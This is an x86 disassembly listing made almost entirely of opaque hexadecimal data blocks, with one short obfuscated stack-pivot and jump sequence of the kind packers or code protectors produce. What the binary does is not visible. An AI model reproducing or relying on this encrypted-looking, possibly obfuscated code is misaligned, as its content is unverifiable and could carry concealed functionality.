		dd 587D7B49h, 0E0724070h, 0EE2A728Ch, 56BC1C88h, 7F73C186h
		dd 1E84F0B2h, 7F73C1FEh, 324B87Ah, 0E927A1C5h, 0EDBF0D59h
		dd 0CC6E3CBDh, 0C65A1856h, 0A92620F0h, 0B580A640h, 79491FB3h
		dd 0D6A65A7Fh, 0E2483E10h, 81A27565h, 44C3AF15h, 0C7ED755Bh
		dd 0EDD5FAFCh, 0CF3BFD59h, 61DEDCA9h, 342EFD23h, 0DC568AA0h
		dd 0A070795Bh, 582529A6h, 0F117BD90h, 4FB55A35h, 61732Ah
		dd 0F47A0000h, 32980421h, 75216760h, 691D4204h,	1E229F99h
		dd 0BCBA884Eh, 0F2C4EA56h, 0AB9F68FCh, 0DFF1829Ah, 0A127E058h
		dd 565AD7D1h, 0B3678C86h, 597FEBE1h, 31FA8E8Ch,	90B5AB7Dh
		dd 0EE130DDCh, 33EDA60Ah, 169C55E9h, 0B5B38046h, 0FECED24Fh
		dd 62749804h, 0C63A14F7h, 22D9A236h, 3,	0E03A8729h, 40F4190Fh
		dd 9D517670h, 0F7ABD0D2h, 55092E28h, 0B1658A88h, 0DC1E6E4h
		dd 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h, 22C568h, 243C8900h
		dd 0C781E789h, 4, 8704EF83h, 565C243Ch,	0C681E689h, 4
		dd 4EE81h, 34870000h, 4895C24h,	0E1895124h, 4C181h, 0E9830000h
		dd 240C8704h, 240C895Ch, 707E97B8h, 8E8C134h, 0A57CED25h
		dd 58BB5333h, 43012916h, 8102EBC1h, 40491CEBh, 5BD801FAh
		dd 4EC81h, 24890000h, 24048124h, 4, 4EC8159h, 89000000h
		dd 8BA2414h, 1000000h, 5A0289CAh, 592434FFh, 8B04C483h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_551321
; ---------------------------------------------------------------------------
		db 0A3h
		dd 0FF5A9089h, 712F27FAh, 51AA1042h, 7103B8A3h,	0C503062Eh
		dd 42C2E0FFh, 1D226138h, 0D08F2125h, 69EF4A86h,	18E90348h
		dd 0BD000000h, 750F8Eh,	4 dup(0)
		dd 0E9000000h, 5CAh, 0AD2A20F1h, 60DDDBA9h, 118E905Ch
		dd 0C8453B0Dh, 7CF9F7C4h, 0FDC2D79h, 0C1909411h, 7B464AC7h
		dd 28F8FC79h, 0FB8BB12Eh, 5DE24795h, 0A91EF179h, 0AA1610E0h
		dd 23B7B984h, 0DBD9A65Ah, 7C7E496Fh, 0BADB6F57h, 0C7ECE6B6h
		dd 24494313h, 0C0DAA270h, 0AC6F724Bh, 0D5FB67CDh, 0B0790D03h
		dd 926230FCh, 258B7398h, 847A4C00h, 540D855Fh, 11CA429Ah
		dd 0E1F7BB8Bh, 39199B87h, 8E920F75h, 0F928F7C3h, 63888252h
		dd 0CF274B7Bh, 0A0A42187h, 0C0AED3D5h, 1D0A699Ch, 65F9A199h
		dd 0A1C6C08Fh, 0FC211FEDh, 557A7C48h, 0B63CF589h, 3D87EDE7h
		dd 9F6AF0A9h, 9F0503D1h, 0E9510F33h, 0C830660Bh, 3F0F1334h
		dd 0E92C2045h, 2D7F73A7h, 0BD5BC121h, 0B77F73A7h, 0A86161F5h
		dd 0CC9BC4E8h, 500C4E2Bh, 8D8AEFBCh, 952CBB31h,	59000000h
		dd 0AFB380A6h, 73939349h, 7DE3A57Fh, 6DC7058h, 23173C36h
		dd 7F7393F3h, 0C4F31723h, 2AD7702Ah, 4BDBD51h, 318EF287h
		dd 0AC7AA0BBh, 0F01517E2h, 957DA208h, 11501h, 0A6420000h
		dd 0E8435882h, 3AF02016h, 542ABED0h, 0AF638886h, 0D0BEE3E1h
		dd 0BCE1DBAAh, 986A40D4h, 0DC4206D6h, 6D3FF667h, 501D4FB5h
		dd 0EDC7EC52h, 6836BC75h, 174D67A0h, 1B9F050Dh,	544B7B60h
		dd 1FFD8037h, 0DC685E91h, 55931076h, 3161632Fh,	3ED86EC8h
		dd 5026BA09h, 0A0098680h, 0F01513E0h, 4B706E3Ch, 0A72DE684h
		dd 4A70DCDAh, 70587D7Fh, 0DE72703Eh, 0B15B7FBDh, 7BA10714h
		dd 0FD7F73E5h, 78CA0B3Bh, 0A4A672A4h, 2D03977Fh, 8A3E635Dh
		dd 2224F0BEh, 4EA497BCh, 2B5D5B28h, 543C615Bh, 8A07C0C0h
		dd 0BB3130FFh, 7DB7h, 13E0E400h, 0DC02F015h, 3EB100Eh
		dd 0CBCD996Fh, 2044CCA6h, 83B0601Eh, 5151E50Eh,	47451298h
		dd 7A688CCAh, 62D99464h, 20EDC357h, 0E90FFD22h,	0B48A1E1Ch
		dd 0D4C7ECE2h, 3158D58Eh, 85BB314Fh, 5Ah, 0C082A6B2h, 0C1F2D28Bh
		dd 936036CAh, 5C827095h, 29FF938Dh, 0C5C3905Eh,	5264EEA0h
		dd 6330E1F6h, 8D7297FDh, 5E28F51Bh, 972B9193h, 8B58DE97h
		dd 13DD3C3h, 6FD50175h,	82A689F2h, 750DF475h, 8359ED8Ah
		dd 9E92B7B5h, 7F734B7Bh, 6DEAA39Fh, 0BB32070Ch,	1AAh, 14E0D700h
		dd 9376A60Ch, 40027F73h, 3101B5DAh, 905E1237h, 5506C9C8h
		dd 349ACF18h, 8E905B0Fh, 68218569h, 17D064AEh, 0A4F9C591h
		dd 0A5AADCC6h, 5343C026h, 91F76380h, 755B5946h,	4D0126E8h
		dd 206837Dh, 1F133832h,	795B4FFFh, 31B770D2h, 0ACEA6761h
		dd 98BDB786h, 76461CB0h, 0D3A3577Ch, 1E433D0Dh,	0E4ABD036h
		dd 44421036h, 0E7D0CF14h, 58ECD0EAh, 49199F58h,	5A35E349h
		dd 7D3F795Bh, 0DA9F9A17h, 0DCC159F8h, 160h, 42400E34h
		dd 66A1351Dh, 0EB7C82A6h, 0C67C6E16h, 0A5CAC494h, 946729BDh
		dd 0A9D036Fh, 6C755BA6h, 1D185AAh, 0B6868A07h, 13E397BCh
		dd 45AD84Fh, 9BCDD653h,	0C4ACD1CBh, 0D472395Eh,	9BFB5B1Bh
		dd 5A05E735h, 5DCF9179h, 795A05BFh, 605E2BB9h, 0C178CAFAh
		dd 6B21F1AAh, 373101D7h, 92BABFBAh, 46FCC15Ah, 29000000h
		dd 96021FF4h, 9308D036h, 6A2C7F73h, 496E6838h, 5DBDCD61h
		dd 60695039h, 0CE62A666h, 734D40B8h, 0C1A834FFh, 13ABCD0Ch
		dd 887CA107h, 0FF731450h, 0AB1DD63Ah, 0E74DB9D6h, 7F731411h
		dd 1D24A163h, 0B4h, 421F424h, 72D83898h, 7F7393AAh, 429A0CCEh
		dd 0F67F7393h, 3090A034h, 93B26AD0h, 4C67F73h, 0B4875A70h
		dd 0DF05755Bh, 7C764614h, 75096F57h, 7E325719h,	1C1AE8AEh
		dd 2CA90FF7h, 66945828h, 1BA0034h, 963B6E9Eh, 8AC2EEFh
		dd 48897DA2h, 3F795B24h, 0CE9E24DDh, 0B91957D4h, 5B248553h
		dd 4795FB79h, 0F1795B24h, 39EB772Fh, 0E154EB39h, 0ED064CAh
		dd 88AE1A3Bh, 0E496BBBDh, 16E60130h, 14A80E7Ch,	41489E04h
		dd 9E2C7309h, 0C4ACD1D3h, 254B395Eh, 4B33585Ah,	1711E1B7h
		dd 5C8226F2h, 866E938Dh, 0C739F2F2h, 0FD63CFF4h, 7977F3E9h
		dd 0E34CC98Bh, 0B7B180A6h, 5416AA92h, 92F86481h, 7521617Ch
		dd 797B466Ch, 7CD86C54h, 11E195BAh, 0C6969A17h,	0E1B860C6h
		dd 7042795Dh, 0B56D557Ah, 74688DF3h, 0EE7BE81Fh, 4F672BFBh
		dd 0B093FDC3h, 30E4096Fh, 7A416660h, 116923DCh,	8A5AE099h
		dd 3F0F1390h, 9A6C2045h, 0FFCB7FA4h, 5524D8FDh,	5129EF55h
		dd 894B0623h, 0AC24FE23h, 5BEF39F3h, 0ECBCE2A2h, 0B8885EF2h
		dd 6D3D41BEh, 25974E73h, 9E000000h, 38E046A6h, 3C7F7393h
		dd 93CE0E74h, 0A86A7F73h, 5D7FAE42h, 410CAF39h,	0D4A5A26Bh
		dd 7B9ECEEFh, 0A45D9BDh, 0F4190FE0h, 51767040h,	0ABD0D29Dh
		dd 92E28F7h, 658A8855h,	0C1E6E4B1h, 20453B0Dh, 799EA06Ch
		dd 0D4F9F7C5h, 0E78957FFh, 4B850h, 0C7010000h, 4EF8358h
		dd 5C243C87h, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68240489h
		dd 2A2Eh, 0B8243C89h, 4CDD0D6Dh, 82212005h, 91BD5529h
		dd 0F7277440h, 0BBE581D5h, 0F73EED2Bh, 0E3CD81DDh, 81272857h
		dd 5C7AA1EDh, 5DE829C9h, 49247A25h, 71DD3541h, 0CF684626h
		dd 89000039h, 4812424h,	424h, 8B685F00h, 8900005Fh, 0C6892434h
		dd 5E087789h, 57243C8Bh, 0C781E789h, 4,	4C781h,	3C870000h
		dd 34FF5C24h, 0C4815824h, 4, 0FA082CE9h, 0D530A7FFh, 7E2E3EA4h
		dd 0CB85BE8h, 3062E77h,	0AAE0FFC5h, 8E45B894h, 55592979h
		dd 0C12FE776h, 0EF274ED9h, 0B1261D33h, 0EB7CF817h, 802F0F47h
		dd 8D25949Ah, 2E79098Dh, 158D8906h, 6A062807h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0DD68C350h, 0C9D0BDEFh, 5F54232Fh, 0E9FEBF0Fh, 0Eh
		dd 0E6A1A6h, 725CFDE8h,	0D6F8C4BAh, 85C7B2C0h, 62821BDh
		dd 65ECh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0B4C35545h, 0F21C370h, 0F104ECC7h, 7BF2817Bh, 81092468h
		dd 7A5721F3h, 3D85C76Ah, 62811h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4196C351h
		dd 0AA1B6219h, 0B5FFF6CAh, 62801BDh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 12C35141h, 5054464Fh, 5AE68166h
		dd 0FBB70FEBh, 14D995FFh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0B2A790C3h, 33E5FBAAh
		dd 0AE9BE2Ch, 0BF000000h, 17C28017h, 72F442ADh,	15B86622h
		dd 89858B16h, 6A062825h, 6595FF00h, 8B062804h, 538EBC0h
		dd 9449B2Eh, 0B052E7A1h, 0AE658F98h, 0F448C6EAh, 931DCE0h
		dd 880D33F4h, 0AFA9BCFDh, 9A8F470h, 935B822Dh, 549C066Ch
		dd 75B7AF66h, 0ADBB61BCh, 14B8A1Eh, 0E8EE8AD3h,	6, 77DF2173h
		dd 0BE66D63Dh, 0F594A2Bh, 38Dh,	0F2BF0F00h, 6FD7C181h
		dd 9D0B0000h, 6282D4Dh,	68h, 858B5A00h,	6280CE9h, 890A34FFh
		dd 28034585h, 0BB665F06h, 0C781BDE5h, 3C1EF919h, 13719D29h
		dd 0C7810628h, 323622C6h, 17B59D01h, 0C7810628h, 14ABF63Dh
		dd 0B52357F5h, 62824A9h, 0E911048Fh, 7,	9723A0D9h, 0FFAF1D5h
		dd 282h, 8391B400h, 0F08104EAh,	4499B98Dh, 90BCFA81h, 850FFFFFh
		dd 0FFFFFFA0h, 0F6816660h, 50534EE9h, 5361585Ah, 5DB17DF0h
		dd 0AEB137BFh, 0E43F1256h, 0AB490A8Bh, 0D5B37756h, 7BDB3256h
		dd 63C984D2h, 0AB4965Ch, 5DB109C3h, 0AB58CE56h,	1EB13256h
		dd 903474F8h, 0D7F4007Eh, 0E5D1CA56h, 75B137D4h, 0A148A56h
		dd 0E4E1662Ah, 0B0E2067Fh, 57B1530Fh, 0ABB13ABFh, 283DC956h
		dd 7B3A60CEh, 9CB132EDh, 0BAB1325Fh, 9F97C4B3h,	0A508E81Bh
		dd 0AEB132B7h, 22BE3256h, 0D5B13253h, 280E3D36h, 2F92FC37h
		dd 0BAB13256h, 2F1C971h, 7B4302D8h, 570CC3B8h, 64D05256h
		dd 0D5B169B5h, 0C2393256h, 0EEC0345Dh, 0DAB132D7h, 0D456B330h
		dd 57063D9Bh, 58B13237h, 0ABB13ED9h, 380A5256h,	8CAE0467h
		dd 0D087D8D7h, 42B13237h, 4D583256h, 56B13256h,	0AF6CC1B1h
		dd 34E79C8Fh, 6A832EBh,	0EA85CA94h, 0F4D75256h,	0DC7EF79Eh
		dd 942ED1D7h, 0A1B13237h, 57B133D3h, 0ABB1CB56h, 0D5B13FBFh
		dd 134BA356h, 0F1F049DAh, 81E56D30h, 54582577h,	21B13256h
		dd 0AE839E7h, 64441B93h, 5FBE3256h, 0EAB13257h,	15B132A3h
		dd 0E40B330h, 5D48535Ch, 27BE5256h, 57B13250h, 0ABB1BA59h
		dd 5ED73256h, 0EAB15381h, 75B126BFh, 8A5B9A56h,	5F2C2E88h
		dd 78BBEACBh, 8A53D8F4h, 8318C87h, 0D5B1C733h, 0EAB121BFh
		dd 10D21556h, 88A9D6Ch,	0BB46880h, 2A9BE812h, 0A45587h
		dd 23BE3256h, 0D5B13244h, 0EAB13FBFh, 483B3256h, 690F101Dh
		dd 7FDAF36Fh, 0AEB155C8h, 57B137BFh, 0BE325956h, 0D5B19A2Dh
		dd 0EAB0BC59h, 154D3256h, 0B5D0C736h, 5DD0ECE1h, 0AEB1C756h
		dd 0DCBE52AFh, 0ABB13250h, 69AEE1D7h, 5DBE29F0h, 75B1539Dh
		dd 0BAB9B859h, 0DBBE3256h, 0AEB13254h, 57B15336h, 0ABBCDB36h
		dd 94C3256h, 0F1CD1D6Ah, 0F90004AAh, 53E29765h,	5DB13244h
		dd 87D74485h, 0EEF5F946h, 8345C29Bh, 0C8429561h, 16D05D18h
		dd 0CFD13256h, 87654781h, 5DB5B259h, 11D73256h,	57D06E6Eh
		dd 0A3353D56h, 0B5B13256h, 1A8B8D30h, 77D06B01h, 0B5B13256h
		dd 0D6D7C4E9h, 0AEB15397h, 57B9BA59h, 2ABE3256h, 0D5B13254h
		dd 0ED665336h, 75B53251h, 0BAA0324Ch, 5DB13245h, 0AEBD33A5h
		dd 0DFDA3256h, 519B0A4Dh, 0E16DC7F2h, 8CD13BE4h, 0E108CADDh
		dd 0DBAD41F1h, 56583256h, 82B13256h, 0AE5C16D5h, 0AF792FCBh
		dd 0D5B1BF9Bh, 0E20B5436h, 0EA42B3C2h, 0DBA6661Eh, 53583256h
		dd 0F0B13256h, 6BCCA053h, 0B0B5DC28h, 0A8E97DB2h, 8AB1326Ch
		dd 75B4B759h, 0E60F3256h, 0B4F22629h, 0AEB1325Fh, 0CE244CF3h
		dd 0CF80631Eh, 0D5B15315h, 50AA8036h, 4D405D1h,	43B13237h
		dd 5DB13CBFh, 271C4E56h, 8C9F771Ch, 0E6ED347Ah,	0D589F912h
		dd 6CB37B56h, 75B13244h, 0BAB13FBFh, 0CAF1B156h, 1990693Eh
		dd 8FD33691h, 0ABB1FDDFh, 0EF4F8D36h, 3A303318h, 77BAC276h
		dd 0F3B13237h, 5DB13254h, 1C1A1050h, 0A3EA9F30h, 8DE725C3h
		dd 0D5C13974h, 0F4353D56h, 15B13256h, 2F86DBECh, 5DA0DA7Fh
		dd 5D2E3256h, 6F103223h, 0EDF4C016h, 8B9708F4h,	0B4298432h
		dd 0E9D1A237h, 0BAB135BFh, 44D15156h, 7B3D8D88h, 56C9F2D7h
		dd 0AD5830B4h, 63B13256h, 0A83C16E1h, 9C2DAF05h, 0BAB13245h
		dd 0C7F48EF9h, 0C8709A9Dh, 0A54C66F1h, 9548F215h, 0B304DEC9h
		dd 7169DBD7h, 75B134BFh, 3E262456h, 0C082903Bh,	0FCE16237h
		dd 51586006h, 6DB13256h, 876C86D1h, 8A803D75h, 7AE96837h
		dd 0BABEDB67h, 652A3256h, 4AC64447h, 7A2301Bh, 0D7DE7C1Fh
		dd 45E96853h, 0B2EBC134h, 0FE226A0Ch, 0B4585256h, 23B13256h
		dd 24441E89h, 1C02AADh,	491CF681h, 91385325h, 0BAD13672h
		dd 7A49B804h, 0B5E36267h, 7E96867h, 35E9530Eh, 20C7236Eh
		dd 0B8B37FB2h, 0BAFF7B06h, 61EB372Ah, 3EABF70Eh, 53803DCBh
		dd 5DB1325Dh, 0DCCCE671h, 0E9C87295h, 0F1845E49h, 0D858AE0Eh
		dd 5BB13256h, 98B525C0h, 53C18174h, 0F82D3D38h,	0AEB122BFh
		dd 1190BA56h, 79EC0651h, 0CBE892F5h, 0C0A4FEA9h, 0FED0AF4Dh
		dd 0A8595256h, 0DFB13256h, 6078E2C5h, 8D34CEB9h, 0DB0DA5Dh
		dd 0E78CA6B1h, 0E5E362D5h, 2BE96867h, 0BAB138BFh, 454AB856h
		dd 6A666427h, 36C2D0FBh, 0AF9576DFh, 0EF0A5436h, 253A5437h
		dd 75B16A37h, 56087756h, 8565F6C0h, 0ABC2D76Dh,	0BEB13203h
		dd 0ABB1325Ah, 5C65F163h, 97A4E7B5h, 79744C03h,	53483256h
		dd 5DB1325Fh, 163CCACh,	77AF91B5h, 0CBB1323Ah, 2C4AB930h
		dd 12B13237h, 0F5BE3256h, 0BAB13244h, 5DB13FBFh, 4B07E956h
		dd 64C25996h, 0E2AFF814h, 0D544463Ah, 0EAB1CA56h, 7AB132A3h
		dd 0BAB135D8h, 5C373D56h, 57B13256h, 47583256h,	0A1B13256h
		dd 4F92B61h, 7E92DD35h,	66A6FAE0h, 0BA0E9ACCh, 5DB1C756h
		dd 0AE92BB59h, 0BED13256h, 0ABB13251h, 9DCCF40Fh, 3FA9E83h
		dd 75B13246h, 4DC1FADFh, 5A77A163h, 96A99780h, 6A56B057h
		dd 0A4B13237h, 0D5B133D3h, 0EAB1CE56h, 75B7B759h, 0DAD13256h
		dd 3C64B837h, 0AE4D3256h, 57B8DB56h, 0D0FA3256h, 7E8A0460h
		dd 0EA0936C3h, 72333D56h, 0DAB13256h, 0D688D59h, 0AEB15308h
		dd 57B0B059h, 0AB443256h, 0C6585256h, 0A6B13256h, 0B4608469h
		dd 0A0788705h, 121B3C21h, 493CFB18h, 8E30BAD8h,	9A85F40Ah
		dd 0C5303D37h, 3B13256h, 75B1325Dh, 11DB5835h, 92CDD1ECh
		dd 0AED8C4E8h, 57B8DB56h, 3A253256h, 3149A0D8h,	3B2E01Ch
		dd 75B1325Fh, 0AE874BA1h, 46D73ABFh, 0CEB13278h, 57B135BFh
		dd 77F89C56h, 0CF697F9Eh, 0EABDDB37h, 9F3E3256h, 0A2CA177Bh
		dd 3B7B0868h, 0AEB144A3h, 57B0B859h, 0AB483256h, 0D1363D56h
		dd 8AB13256h, 75D0F0DDh, 0BAA5DB56h, 0EED93256h, 4B28321h
		dd 1944FC34h, 40D33B41h, 0EFE791CDh, 0EAB1EDE4h, 0B43A5436h
		dd 53B13237h, 5DB13251h, 64936D52h, 570210A8h, 0ABB1CA56h
		dd 0D5B6B359h, 0B9D13256h, 820E3D0Ch, 43B13237h, 5DB122BFh
		dd 0DF414256h, 6B2C4C8Bh, 95DD3948h, 0D656FAF0h, 8AB13296h
		dd 8DD13DE6h, 0DBD04AE2h, 3BD13256h, 0A19B58E9h, 58D0E9E9h
		dd 0ABB133D6h, 0D5B1CB56h, 8AB132AFh, 0F34FC1D7h, 0A85852AAh
		dd 13B13256h, 0D21ED7C9h, 975F10CDh, 204D4C8Ch,	608ABADDh
		dd 0EA4D5317h, 75B1CA56h, 46B132AFh, 0B4B132A3h, 0AEB1325Bh
		dd 60330311h, 0C7D4F7F7h, 2177DC86h, 16B13280h,	0CAD13256h
		dd 0DAD6AA50h, 5DB7B659h, 2CBE3256h, 57B13256h,	42B13237h
		dd 0D5B13250h, 0A6CA5B5Dh, 75B1D08Ch, 0BAB13FBFh, 51F00156h
		dd 8787B647h, 0A285E756h, 0ABB160BAh, 2CB132AEh, 0EA483256h
		dd 7AE35256h, 0BAB132D9h, 0AD306856h, 0EC1A2A6Bh, 0AEB13237h
		dd 0A4D13256h, 0D5B132D5h, 0E83C3D56h, 15B13256h, 0BAB15337h
		dd 0A8B132AEh, 0C8D13256h, 0BECEA9ECh, 0ABB1325Fh, 9060400Bh
		dd 481BF135h, 75B15320h, 0BAB13EBFh, 242FEE56h,	43CBC029h
		dd 2AA0A5A9h, 52B1322Fh, 0DAD13256h, 6BD7E2E1h,	148B96B0h
		dd 46493256h, 0DBBE3256h, 0AEB13257h, 37B132A3h, 6131C5DCh
		dd 0C1585392h, 0FB13256h, 0D0066DA9h, 223E27B9h, 8EF34002h
		dd 0E43BF50Bh, 57A77BCEh, 0BC353D56h, 0DAB13256h, 0EAB123D4h
		dd 75BDDB56h, 3DBA3256h, 0E2F0465h, 0A030589Eh,	57B1BB9Ah
		dd 0ABB8B159h, 6ED13256h, 0DB6EB678h, 75D08AE3h, 0BAB4DB56h
		dd 1D943256h, 0AEC2148Fh, 563C3D56h, 5EB13256h,	0D8583256h
		dd 0CCB13256h, 1BC0917Ah, 46806BB1h, 0FD705E32h, 0BA583256h
		dd 3FB13256h, 0FA3AA005h, 7454E3C4h, 0F7E3703Dh, 7E76F681h
		dd 0DA5035F1h, 5DB153AAh
		dd 0AEB13BBFh, 0B19F2456h, 93D88451h, 0D5B18A2Eh, 0EAB6B759h
		dd 24D13256h, 690E3D0Dh, 5DB1C737h, 0AEB7B859h,	7D13256h
		dd 0CA61B908h, 0D54D3256h, 8B495256h, 7E583256h, 1EB13256h
		dd 55AC6FB7h, 290B350Ch, 4758765Eh, 0C2B13256h,	0E2A5966Dh
		dd 0BB58ED25h, 1544B236h, 0BA6F9752h, 5DBEDB56h, 0FF693256h
		dd 0E6D9FF77h, 44E18E58h, 1F971C00h, 0E5B132CCh, 75B135DBh
		dd 0BB3B3D56h, 0A4B13256h, 27BE3256h, 57B13257h, 42B132AFh
		dd 0D5B13244h, 795EA1FAh, 0ED5C2FF6h, 57BD4F74h, 93832BE7h
		dd 0AEB1C1D3h, 57B0B059h, 0AB493256h, 0D9595256h, 2EB13256h
		dd 3501D41h, 0C874EE62h, 3B59EE3Fh, 0D3E7EAD7h,	57A0DB0Ch
		dd 873D3256h, 0B956F937h, 0EBF5610Ch, 0D244C340h, 0DB9FFB97h
		dd 5D483256h, 0AEB1CB56h, 5B3D3DAAh, 42B13256h,	0D5B13251h
		dd 73160FD8h, 7544319Ch, 0BC3D3D56h, 3DB13256h,	4F3B6A00h
		dd 0A2B13237h, 0CDD13256h, 0B4BF1CE9h, 0EA483256h, 0FBBEC756h
		dd 0BAB13249h, 5DA3DB36h, 72893256h, 0AA2EA43Fh, 0FD52C6EFh
		dd 0FA8BB2Ch, 873A5C3Bh, 75B1B059h, 0BAD03256h,	5DB9DB56h
		dd 64723256h, 73884E43h, 2EBE2825h, 0D5B13245h,	0EABCB759h
		dd 7D583256h, 0B1B13256h, 0D49893A5h, 0AEAA2FB8h, 44585256h
		dd 0F6B13256h, 7416A792h, 50E35343h, 7F9E4872h,	42B22D45h
		dd 0D6D7F7D9h, 0AEB153A8h, 0A6305436h, 14E01682h, 9844C919h
		dd 0EAB1530Dh, 75B123BFh, 30C33E56h, 0B68BAB61h, 7C850EC5h
		dd 0F4DC338Bh, 0BF580B96h, 56B13256h, 0C55EED1Fh, 29A2B3BFh
		dd 0E2B8FF9Eh, 9DB5EF71h, 0AEEEB9C6h, 57B6DB56h, 13D3256h
		dd 289DFA63h, 3B132AEh,	75B13246h, 0C5D51F15h, 3ABF98A1h
		dd 7A5D45DEh, 0E269CC16h, 0AB493256h, 0D5B1CB56h, 0FD303D36h
		dd 9DB13256h, 0BAB13247h, 0F667D722h, 3981F70h,	5BFF5AC2h
		dd 3245CD42h, 0DAD16A9Fh, 51D7E3E9h, 14D0E515h,	0BF583256h
		dd 5CB13256h, 7AC0FBACh, 31D13256h, 0CDED9FE8h,	0B4FE1FECh
		dd 0EA4D3256h, 75B1C756h, 0DAB132AEh, 5DB153AFh, 0AEB0B359h
		dd 0AF4D3256h, 0A7583256h, 0A1B13256h, 0DB3025A0h, 6CD1F2E2h
		dd 0BA0B4B25h, 5B303D56h, 0CEB13256h, 36D16B05h, 0ABB1CE37h
		dd 0D5BDBA59h, 6EBE3256h, 75B13250h, 0BAB1BB59h, 5DB13256h
		dd 5BB132A3h, 58D13256h, 6D30ECE9h, 0F6B3728Ch,	3B13237h
		dd 75B13250h, 3F440DF7h, 5DB13ABEh, 3F59B236h, 57B3BF59h
		dd 723A3256h, 0B5B13237h, 0F466B330h, 75B15372h, 0BAB13EBFh
		dd 0BE292656h, 50ED1B4Ch, 0D281458Ah, 0A4B132B3h, 0D5B137D7h
		dd 61D75256h, 75B1539Ch, 46B132AFh, 0DABE3256h,	0AEB13246h
		dd 57B139BFh, 0BBB14C56h, 4D7FDDCEh, 4BE71A1Bh,	67583256h
		dd 0EB13256h, 6042F56Ah, 30331C2Ch, 5BFD4791h, 8BF75164h
		dd 3CB13292h, 0EAB13251h, 6C15DC88h, 0BA57FA39h, 0D6D75256h
		dd 0CF60B98Eh, 57443256h, 0ABB1CB56h, 0D5B122BFh, 7CA01C56h
		dd 0AED92581h, 0C805E940h, 0ED2FE7B4h, 47B132C2h, 57B1325Dh
		dd 958C7D39h, 23818053h, 0EA01AAEDh, 7F3C3D56h,	0DAB13256h
		dd 0D0BE5336h, 0AEB13256h, 0A2B13237h, 0BA583256h, 0EEB13256h
		dd 9237BFh, 87372EAFh, 8F51110Dh, 0DE4FBF40h, 22BE3256h
		dd 57B13250h, 20FB8636h, 0D5B153A5h, 3B132AFh, 75B1325Ch
		dd 761AB6E2h, 0AE4F4FE2h, 0AEB1117Ch, 57B137BFh, 0F0F31856h
		dd 54BEC505h, 0EAB1325Ah, 75B7B559h, 32BE3256h,	5DB13256h
		dd 0AE483256h, 57B8DB56h, 25B33256h, 0F970722Bh, 0EA237A12h
		dd 743C3D56h, 4FB13256h, 5D493256h, 0A0313D56h,	0BEB13256h
		dd 0ABB1325Fh, 0EE75A9F8h, 80BE1C67h, 89B13208h, 36BE3256h
		dd 5DB13257h, 0A2313DAAh, 0BEB13256h, 0ABB13251h, 3F62D394h
		dd 0EA42B39Fh, 75A3DB56h, 0B53D3256h, 0A8EC3B2Eh, 3336F7CDh
		dd 77ADA19Dh, 807CD0ACh, 20D13256h, 8B788D59h, 75B6B259h
		dd 3DBE3256h, 5DB13257h, 0A1B132AEh, 57B138D7h,	533A5256h
		dd 50EAC1D7h, 0EAD0686Eh, 62313D56h, 53B13256h,	5DB13244h
		dd 0E0A7661Ah, 0C980B9E4h, 358E9662h, 0E32AC2ACh, 0EAB1ACC0h
		dd 75B0B159h, 42443256h, 0EBD13256h, 0AA363D5Ah, 31B13256h
		dd 0CAE168EDh, 0D5493256h, 0E53C3D56h, 9CB13256h, 0BAB1325Ch
		dd 2BB3BE3Ch, 0C9507CC1h, 57B1D5B3h, 0ABB4B259h, 84D13256h
		dd 0EAD0CA0Eh, 7D313D56h, 0B5B13256h, 5DB130D5h, 0AED05256h
		dd 44323D56h, 42B13256h, 0D5B13258h, 4278B1A9h,	6BE1F52h
		dd 0C1692641h, 5DB1525Bh, 0AEBEDA36h, 0F7373256h, 0B5295B00h
		dd 0BFDE39D9h, 6AD2A668h, 2F46B9C8h, 0BABCB559h, 5A593256h
		dd 0C5B13256h, 0F8512F53h, 0CAEFABD7h, 0DD583256h, 0D5B13256h
		dd 0EB0D6E91h, 0BA06D80Fh, 0D6D75256h, 0A75853AFh, 0E5B13256h
		dd 61BB26AFh, 36F35080h, 8A4D3256h, 0B70E3D36h,	0DBD0F5DDh
		dd 0D6D13256h, 0AC3E3D85h, 0E5B13256h, 0ABB15313h, 3CB132AEh
		dd 0EAB1325Ch, 0C6D9A27h, 39A170Bh, 5DB13F8Ch, 0AF383D36h
		dd 0A2B13256h, 0ABB120BFh, 46C2F956h, 0D20C75B2h, 83CB073Ah
		dd 0D3AA459Bh, 3C2E783Dh, 0AEB139BFh, 43833D56h, 0A93656E3h
		dd 0F779C939h, 8CD13256h, 148D8EECh, 46483256h,	0DEBE3256h
		dd 0AEB13257h, 37B132AFh, 0E2DE3D7h, 0D5D046A3h, 0EAB1CE56h
		dd 0A277B236h, 45358C30h, 3DB13237h, 0AEB134BFh, 0F9277456h
		dd 0CDF3BBC3h, 0B42401ECh, 8AD13256h, 147FB930h, 15F8FDD7h
		dd 5DD06360h, 19BE5256h, 57A1DBACh, 0DCA3256h, 2C301F5h
		dd 8BF65AC5h, 7C72EA1Ah, 0B5D0A3F0h, 5DB12FDFh,	0BA585256h
		dd 5BB13256h, 9377E51h,	7678DEACh, 71F4CAAh, 0BB63E5FDh
		dd 0DAC09533h, 5DB15337h, 0AEBBBF59h, 31D13256h, 2A09CADDh
		dd 0B4EA4D78h, 0F9583256h, 71B13256h, 3E387DADh, 9BF540B8h
		dd 40B0DE24h, 0C64CB533h, 0ABB1BF63h, 0DAB132AAh, 0EAB122DCh
		dd 75BADB56h, 57923256h, 6E8D1258h, 91DCD783h, 0BEB132F7h
		dd 0ABB13253h, 0AAEA1C93h, 0EAB1CA32h, 9CB132AEh, 0BAB1325Bh
		dd 0D4BE91B4h, 0F954E512h, 8CA88AD8h, 0A4B13227h, 0D5B139D0h
		dd 0EAB7DB56h, 5B1F3256h, 3F6C9C78h, 5D443256h,	0BC3A3D56h
		dd 58B13256h, 0ABB13ED0h, 0D5B6DB56h, 2C8B3256h, 0DD4DE7CEh
